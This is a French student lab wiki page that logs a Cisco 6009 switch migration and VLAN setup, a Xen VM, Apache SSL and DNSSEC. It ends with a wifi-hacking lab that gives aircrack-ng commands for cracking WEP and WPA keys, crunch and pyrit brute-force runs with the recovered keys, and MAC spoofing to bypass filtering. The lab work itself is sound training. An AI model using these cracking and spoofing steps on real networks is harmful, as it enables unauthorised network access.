PRA2015 - Configuration des commutateurs : Différence entre versions

Version du 30 novembre 2015 à 13:01

Cahier des charges

Présentation du travail

Le but de la tâche est de configurer le commutateur Cisco 6009 de la salle E306. Le binôme n°4 s'occupe du commutateur de même modèle situé en salle E304.

A l'origine, le matériel sur lequel nous travaillons nous est mis à disposition dans une configuration un peu particulière. En effet la carte superviseur (carte mère) du routeur est livrée avec un système d'exploitation CatOS, tandis que la carte routage (carte fille) fonctionne sous IOS. Dans un premier temps la tâche consistera donc de migrer complètement le routeur vers un système IOS. On pourra par la suite configurer les différents VLANs et la connexion redondante sur les routeurs (groupes 1 & 2). Pour plus de clarté sur l'architecture du réseau, je vous invite à consulter le schéma mis en place par nos collègues du groupe 1.

Architecture du réseau mis en place

Matériel utilisé

• Commutateur Cisco 6009
• Un ordinateur muni d'un port série pour la configuration

Progression

Semaine 1 - Prise en main

Dans un premier temps, nous découvrons le matériel à notre disposition et essayons de comprendre comment il fonctionne. Le commutateur Cisco 6009 est constitué d'un rack de 5 baies. Deux d'entre elles contiennent un module permettant le routage sur les modules de ports RJ45. Intéressons nous maintenant à ces deux modules en particulier. Ceux-ci sont constituées d'une carte mère appelée carte superviseur et une carte fille qui est la carte routeur. Chacune des deux cartes contiennent leur propre mémoire flash appelée bootflash. Une carte flash de 20 Mo peut aussi être insérée dans le module. La configuration originelle de ces modules est un peut particulière :

• Module 1 : Un CatOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur
• Module 2 : Un IOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur

L'idée est de migrer tout les modules vers des systèmes d'exploitation de type IOS (le seul système utilisé aujourd'hui par Cisco).

Semaine 2 - Installation et configuration des OS

Installation des OS

On démarre le commutateur avec un seul module superviseur branché. On en configurera un seul à la fois. Nous avons décidé de configurer le module avec CatOS en premier.

Nous passons en mode enable avec la commande du même nom, pour ensuite associer une IP à l'interface sc0. Avec celle ci nous pourrons transférer les fichiers avec un ordinateur (tutur06) via TFTP.

console> enable
console (enable)> set interface sc0 192.168.0.1 255.255.255.0

A cause d'une erreur (bad device info block), nous avons du formater la flash pour pouvoir la lire et écrire dessus. En effet chaque OS a son propre système de fichier.

console (enable)> format slot0:

On peut maintenant copier le binaire contenant l'OS à installer. Pour cela on configure une IP dans le même réseau que l'interface sc0 sur tutur06. L'ordinateur est déjà configuré pour transférer des fichiers par TFTP. Ici nous avons configuré l'IP 192.168.0.2/24.

console (enable)> copy tftp slot0:
console (enable)> 192.168.0.2
console (enable)> "emplacement du fichier"

A partir de là, on peut donc booter directement sur la carte sous IOS. Pour cela il faut interrompre le boot automatique sur CatOS pour indiquer au système de boot sur la carte IOS.

Comme il y a eu un problème de carte avec le deuxième binôme, nous avons du re-formater leur carte au format CatOS, pour cela il a fallu booter en CatOS, la formater sous CatOS et leur remettre les bons fichiers sur la carte via tftp.

A partir de là nous avons pu, de la même manière que précédemment, formater la deuxième au format IOS puis y mettre les fichiers IOS via tftp. En outre, nous avons indiqué au système de boot sur la carte flash via la directive :

BOOT=slot0:<CHEMIN DU FICHIER.bin>

Configuration des OS

La configuration réseau du routeur se déroule en 3 étapes.

Dans un premier temps, on configure les liaisons trunk. Il s'agit ici de la liaison qui relie le commutateur au routeur en E306, sur l'interface 4/3, et la liaison cable qui relie le commutateur au routeur en E304 sur l'interface 7/2. On écrit donc pour chaque interface

conf t 
int Gi4/3
switchport
switchport mode trunk
switchport trunk allowed vlan 11-20,110,130
no shut
exit

int Gi7/2
switchport
switchport trunk encapsulation dot1q
switchport mode trunk
switchport trunk allowed vlan 11-20,110,130
no shut
exit

Il faut ensuite créer les VLAN, par exemple :

conf t
vlan 13
name vlan13
exit

On fait ceci pour les VLAN 11 à 20, puis 110 et 130. Une fois qu'ils sont déclarés, on les attribue à un port physique du commutateur :

int Gi4/13
switchport access vlan 13
no shut
exit

Le schéma physique est le suivant :

• VLAN11 : Gigabit 4/11
• VLAN12 : Gigabit 4/12
• VLAN13 : Gigabit 4/13
• VLAN14 : Gigabit 4/14
• VLAN15 : Gigabit 4/15
• VLAN16 : Gigabit 4/16
• VLAN17 : Gigabit 4/17
• VLAN18 : Gigabit 4/18
• VLAN19 : Gigabit 4/19
• VLAN20 : Gigabit 4/20
• VLAN 110 : Gigabit 4/1

Semaine 3

Nous avons commencé par créer une VM Xen sur le serveur Cordouan :

xen-create-image --hostname=chimay --ip=193.48.57.163 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd

• Notre IP : 193.48.57.163
• Masque : 255.255.255.240
• Passerelle : 193.48.57.174

Nous avons ensuite crée 2 partitions LVM, home et var.

lvcreate -L 10G -n /dev/virtual/ima5-chimay-home -v
lvcreate -L 10G -n /dev/virtual/ima5-chimay-var -v

Il faut enfin modifier le fichier /etc/xen/chimay.cfg, y rajouter les partitions LVM :

disk = [ 
          'phy:/dev/virtual/ima5-chimay-var,xvdb,w'
          'phy:/dev/virtual/ima5-chimay-home,xvdb,w' ]
dans vif, rajouter bridge=IMA5sc

Enfin, une fois la VM lancée, on y ajoute le serveur apache, le serveur SSH et le serveur DNS :

apt-get install apache2
apt-get install openssh
apt-get install bind9

On active la possibilité de se connecter par SSH en tant que root directement en ajoutant dans /etc/ssh/sshd_config :

PermitRootLogin yes

Semaine 4

Nous avons commencé par louer un nom de domaine chez Gandi. Comme le thème est la bière et que nous avons choisi de nommer notre VM Chimay, nous avons, pour des raisons légales, choisi de louer le domaine michay.lol.

Installation du serveur Apache et du certificat SSL

Nous avons commencé par configurer Apache et y installer un certificat SSL. A cet effet, nous avons commencé par générer un fichier .csr avec OpenSSL :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout michay.lol.key -out michay.lol.csr

Les domaines certifiés sont michay.lol et www.michay.lol.

On fournit la .csr à Gandi qui la signe et valide et nous renvoie un .crt. On choisit de le mettre à côté de la .key, et on supprime la .csr.

On poursuit ensuite en activant le module SSL d'Apache :

a2enmod ssl

Il faut ensuite configurer Apache pour écouter sur le port 443, dans /etc/apache2/ports.conf :

<IfModule mod_ssl.c>
   Listen 443
   NameVirtualHost 193.48.57.163:443
</IfModule>

Enfin, on ajoute un VirtualHost servant le contenu du dossier /var/www/www.michay.lol/ sur le port 443, dans /etc/apache2/sites-available/000-michay.lol-ssl.conf :

<VirtualHost *:443>                                                  **** On veille à mettre un wildcard, sinon le certificat SSL n'est pas chargé quand l'adresse est un FQDN. ****
 ServerName www.michay.lol                                           **** Domaine et Alias ****
 ServerAlias michay.lol
 DocumentRoot /var/www/www.michay.lol/                               **** Dossier contenant les fichiers du site ****
 CustomLog /var/log/apache2/secure_access.log combined               **** Localisation des logs ****
 SSLEngine on                                                        **** Activation du SSL ****
 SSLCertificateFile /etc/ssl/certs/www.michay.lol.crt                **** Chargement du certificat signé par Gandi ****
 SSLCertificateKeyFile /etc/ssl/private/www.michay.lol.key           **** Clé privée correspondant au certificat combiné à la PEM ****
 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem      **** Clé publique émise par Gandi ****
 SSLVerifyClient None
</VirtualHost>

On peut alors remarquer que la connexion sécurisée s'affiche en vert dans la barre d'adresse : le certificat est valide. La connexion est sécurisée et le site est de confiance. On remarque notamment la date de validité, ici le certificat est valide pour 1 an.

Certificat certifié par Gandi.

On peut notamment voir toute la chaîne de certification !

La chaîne de certification de notre certificat.

Mise en place du serveur DNS et de DNSSEC

Toute la configuration du serveur DNS s'effectue dans le dossier /etc/bind/ :

Nous avons crée un dossier /etc/bind/zones dans lequel nous stockons nos fichiers de zone DNS.

zone db.michay.lol :

$TTL    604800
 
@       IN      SOA     ns.michay.lol. root.michay.lol. (
                    2015102001         ; Serial
                         86400         ; Refresh
                          3600         ; Retry
                       2419200         ; Expire
                         86400 )       ; Negative Cache TTL
 
$include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key
$include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key
 
@       IN      NS      ns.michay.lol.
@       IN      NS      ns6.gandi.net.
ns      IN      A       193.48.57.163
www     IN      A       193.48.57.163
god     IN      A       193.48.57.163
ns      IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535
www     IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535
god     IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535
@       IN      A       193.48.57.163
@       IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535

et la zone inverse pour la résolution des adresses IP, 57.48.193.in-addr.arpa :

$TTL    604800
 
@       IN       SOA     ns.michay.lol. root.michay.lol.     (
       2015102001       ;serial
       14400            ;refresh
       3600             ;retry
       604800           ;expire
       10800            ;minimum
)
 
57.48.193.in-addr.arpa.                IN      NS      ns.michay.lol.
57.48.193.in-addr.arpa.                IN      NS      ns6.gandi.net.
 
163               IN      PTR     michay.lol.

On peut enfin ajouter les zones dans le fichier de configuration principale de bind, /etc/bind/named.conf.local :

zone "michay.lol" {
       type master;
       file "/etc/bind/zones/db.michay.lol.signed";
       allow-transfer { 217.70.177.40; };
       notify yes;
};

zone "57.48.193.in-addr.arpa" IN {
       type master;
       file "/etc/bind/zones/57.48.193.in-addr.arpa";
       allow-transfer { 217.70.177.40; };
};

Notons que par rapport à la configuration minimale des fichiers, nous avons rajouté quelques lignes, en particulier :

• allow-transfer { 217.70.177.40; }; notify yes; : Déclaration dans la configuration de l'adresse IP du DNS secondaire chez Gandi (ns6.gandi.net)
• @ IN NS ns6.gandi.net. et 57.48.193.in-addr.arpa. IN NS ns6.gandi.net. dans les fichiers de zone pour le DNS secondaire

On enchaîne enfin sur la sécurisation du serveur DNS avec DNSSEC, pour éviter qu'un pirate puisse par exemple modifier de manière invisible l'IP de redirection du domaine. Pour ce faire, on crée 2 clés : une Key Signing Key (KSK) et une Zone Signing Key (ZSK). On utilisera l'option -r /dev/urandom, pour utiliser la génération pseudo-aléatoire (au lieu de /dev/random par défaut), ce qui accélère grandement la génération sur notre système.

Génération de la KSK :

dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE michay.lol

Génération de la ZSK :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE michay.lol

On renomme les 4 clés générées pour se retrouver dans notre dossier avec les fichiers suivants :

root@chimay:/etc/bind/michay.lol.dnssec# ls
total 24
drwxr-sr-x 2 root bind 4096 Oct 20 15:10 .
drwxr-sr-x 4 root bind 4096 Oct 21 18:12 ..
-rw-r--r-- 1 root bind  603 Oct 20 13:48 michay.lol-ksk.key
-rw------- 1 root bind 1774 Oct 20 13:48 michay.lol-ksk.private
-rw-r--r-- 1 root bind  429 Oct 20 13:48 michay.lol-zsk.key
-rw------- 1 root bind 1010 Oct 20 13:48 michay.lol-zsk.private

On ajoute le chemin d'accès aux clés publiques .key dans le fichier de zone db.michay.lol, en ajoutant ces lignes après la déclaration SOA :

$include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key
$include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key

On fournit les clés publiques KSK et ZSK à Gandi pour qu'il puisse les propager sur l'internet (Rubrique "Gérer DNSSEC").

Pour finir, on signe la zone avec la commande dnssec-signzone :

dnssec-signzone -o michay.lol -k michay.lol.dnssec/michay.lol-ksk zones/db.michay.lol michay.lol.dnssec/michay.lol-zsk

Cela crée un fichier db.michay.lol.signed. Il ne nous reste plus alors qu'à modifier le fichier de configuration named.conf.local pour lui dire d'utiliser db.michay.lol.signed à la place de db.michay.lol.

Après test (juste ici), on constate que la mise en place de DNSSEC est validée. Après quelques modifications, il reste 1 "erreur" (pas de record MX défini, on pourrait supprimer l'erreur en mettant l'ip des serveurs mails Gandi), et 2 warnings (1 warning car le glue record du serveur DNS secondaire (ns6.gandi.net) ne peut pas être défini sur l'interface Gandi ; 1 warning parce que l'utilitaire considère que la valeur du refresh dans le SOA de la zone est trop haute).

Piratage des bornes wifi

Crackage WEP

Nous avons utilisé ici la célèbre distribution Kali pour effectuer le crack. On peut afficher l'état des interfaces réseau avec la commande iwconfig. Dans un premier temps, il faut passer l'interface wifi en mode monitor.

airmon-ng start wlanX

wlanX est l'interface wifi utilisée pour l'attaque. Si un problème survient, il peut peut être réglé en exécutant la commande :

airmon-ng check kill

L'étape suivante consiste à récupérer des vecteurs d'initialisation contenus dans les datas transmises. Pour cela, on peut afficher le traffic wifi avec la commande:

airodump-ng wlan5mon

Cette commande affiche les différents points d'accès ainsi que les clients connectés qui communiquent par Wifi. L'idée est maintenant de capturer et enregistrer les paquets du point d'accès qui nous intéresse. Dans notre cas, nous voulons cracker cracotte03. Pour cela, nous exécutons la commande :

airodump-ng --bssid 00:23:5E:1E:05:42 --ch 7 --write fichier wlanXmon

Nous laissons cette commande fonctionner durant le crack. Nous pouvons ouvrir un autre terminal. En théorie, il est nécessaire à cette étape de stimuler le traffic wifi pour récupérer des paquets. Dans le cadre de notre TP cette étape n'est pas nécessaire car le traffic est déjà très important. Nous pouvons passer directement au crackage de la clé. Dans le nouveau terminal, nous entrons :

aircrack-ng fichier*.cap

Les deux commandes peuvent fonctionner en parallèle. Nous n'avons plus qu'à attendre. Au bout d'un certain temps (~48k IVs), nous obtenons la clé :

KEY FOUND! [ 55:55:55:55:55:55:55:55:55:55:55:51:11 ]

Crackage WPA

De la même manière que pour le crackage WEP, dans un premier temps il faut passer l'interface WiFi en mode moniteur. Vous pouvez voir la démarche à suivre dans la partie Crackage WEP au dessus. Ensuite, on récupère le traffic de l'AP ciblé dans un fichier. Le but ici consiste à récupérer des données particulières à l'encryption WPA. Cette donnée s'appelle le handshake. Le handshake est transmis lors de l'authentification d'un client sur le point d'accès. En théorie on force le passage de ce handshake en envoyant des paquets de désauthentification d'un client au point d'accès. Dans le cadre du TP le handshake est transmis en permanence. On voit alors dans la fenêtre de airmon-ng que le handshake WPA a été récupéré.

Une fois que nous avons le handshake, nous allons cracker le mot de passe par bruteforce. Dans un premier temps nous allons générer un dictionnaire. On peut écrire un script simple pour cela, ou bien tout simplement utiliser la commande crunch :

crunch 8 8 0123456789 -o dictionnaire.txt

On peut maintenant lancer le bruteforce avec la commande :

aircrack-ng file.cap -w dictionnaire.txt

La vitesse du bruteforce dépend des performances du processeur. Pour accélérer le processus, on peut utiliser le programme pyrit qui va utiliser le GPU de l'ordinateur. La commande est :

pyrit -r file.cap -i dictionnaire.txt attack_passthrough

Les résultats

Pour ce test, étant donné que nous connaissions la clé, nous avons généré un dictionnaire allégé pour accélérer le processus de crackage.

crunch 8 8 012389 -o dictionnaire.txt

Utilisation d'aircrack

$ time aircrack-ng out-01.cap -w dic.txt
                                 Aircrack-ng 1.2 rc3


                   [00:01:36] 404340 keys tested (4197.19 k/s)


                           KEY FOUND! [ 12399903 ]
 

      Master Key     : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87 
                       40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93 

      Transient Key  : 26 97 C3 D5 8D 70 A3 F0 19 3A 7D E0 BA 53 80 82 
                       7A 50 BF 44 DD 30 B3 9C BF 17 57 2D 9B E6 14 BE 
                       F3 FE 81 1B 80 A9 06 7B EF 3D D8 AB 94 3B 4E D9 
                       BB C5 8D D9 D7 88 C7 B0 2D 79 88 ED BD 22 F9 94 

      EAPOL HMAC     : AC 30 13 2E E7 7A 7B EE 43 48 5D 1B 84 2C DC 8B 

real	1m37.298s
user	12m55.440s
sys	0m0.112s

La clé est crackée en 1 minute et 40 secondes avec une vitesse de ~4200 k/s.

Utilisation de pyrit

$ time pyrit -r out-01.cap -i dic.txt attack_passthrough
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'out-01.cap' (1/1)...
Parsed 30 packets (30 802.11-packets), got 1 AP(s)

Picked AccessPoint 04:da:d2:9c:50:52 ('cracotte03') automatically.
Tried 440022 PMKs so far; 24749 PMKs per second.

The password is '12399903'.


real	0m21.305s
user	2m20.100s
sys	0m8.448s

La clé est crackée en 21 secondes avec une vitesse 6 fois supérieure avec ~25800 k/s.

Connexion à l'AP autorisé

On modifie le fichier /etc/network/interfaces

On commente #auto eth0

On configure wlan0 :

auto wlan0
iface wlan0 inet static
address 172.26.79.63
netmask 255.255.240.0
gateway 172.26.79.254
wireless-essid troubadour
wireless-mode managed

La connexion fonctionne sans soucis, on ping la gateway 172.26.79.254 et on accède à internet, en particulier les sites IPv4.

Connexion à l'AP filtré

On cherche cette fois à se connecter à un AP Wifi filtré par adresses MAC sur lequel on a pas le droit car notre adresse MAC n'est pas autorisée.

On modifie l'adresse MAC en prenant une adresse volée à l'aide du social engineering :

ifconfig wlan0 down
ifconfig wlan0 hw ether 00:15:af:e7:19:f3
ifconfig wlan0 up

On arrive ensuite toujours à ping la gateway et accéder à internet sans soucis !